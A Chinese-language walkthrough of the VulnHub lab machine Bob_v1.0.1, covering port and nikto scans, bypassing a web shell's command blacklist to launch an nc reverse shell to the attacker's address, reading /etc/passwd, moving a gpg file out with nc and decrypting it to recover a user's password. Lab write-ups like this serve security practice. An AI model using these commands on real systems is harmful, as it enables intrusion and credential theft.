[vulnhub] Bob_v1.0.1

[vulnhub] Bob_v1.0.1

首先先扫描一波端口
namp -sS 192.168.127.0/24
发现打开了 80端口

map scan report for 192.168.127.128
Host is up (0.00059s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:E0:3F:33 (VMware)

访问网站

屏幕快照 2018-07-06 下午6.44.58

一开始访问啥思路都没有=。=
想起之前nikto扫了一波

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.127.128
+ Target Hostname:    192.168.127.128
+ Target Port:        80
+ Start Time:         2018-07-06 18:38:39 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ Server leaks inodes via ETags, header found with file /, fields: 0x591 0x5669af30ee8f1
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/dev_shell.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/lat_memo.html' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/passwords.html' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Allowed HTTP Methods: OPTIONS, HEAD, GET, POST
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.html: Admin login page/section found.
+ 7539 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2018-07-06 18:39:01 (GMT8) (22 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

进入http://192.168.127.128/dev_shell.php

屏幕快照 2018-07-06 下午8.41.31

http://192.168.127.128/passwords.html

屏幕快照 2018-07-06 下午8.43.48

http://192.168.127.128/lat_memo.html

屏幕快照 2018-07-06 下午6.44.58

使用lsattr可以看到很多东西

-w1280

将dev_shell.php.bak下载下来

  
  
  

    

      dev_shell
    
    

      Command:  

      
    
    

    
Output:
    
  
    

可以看到里面有黑名单存在
"pwd", "ls", "netcat", "ssh", "wget", "ping", "traceroute", "cat", "nc"
还好不是正则匹配，采取调用里面的nc来进行回显
很简单可以掏出bin里面的可执行文件来执行
/bin/nc -e /bin/sh 192.168.127.1 4444

美化界面python -c 'import pty;pty.spawn("/bin/bash")'
先看一下/etc/passwd
发现有一个bob的用户
进入 /home/bob 会发现有一个serect的文件夹
和login.txt.gpg是gpg加密过的
一直往Serect里面往下翻有一个藏头诗
HARPOCRATES拿这个解密
gpg --batch --passphrase HARPOCRATES -d login.txt.gpg
本地是不能解密的要求root权限只能通过nc传文件
nc -lvp 1235 > login.txt.gpg 接收端
nc -w 3 192.168.107.129 1235 < login.txt.gpg 发送端
收到之后再次解密
gpg --batch --passphrase HARPOCRATES -d login.txt.gpg

apple@ckj123 ~/hexo gpg --batch --passphrase HARPOCRATES -d login.txt.gpg                                              ✔ 12:18:33
gpg: AES 加密过的数据
gpg: 以 1 个密码加密
bob:b0bcat_

得到密码
sudo cat flag.txt

屏幕快照 2018-07-07 下午12.26.38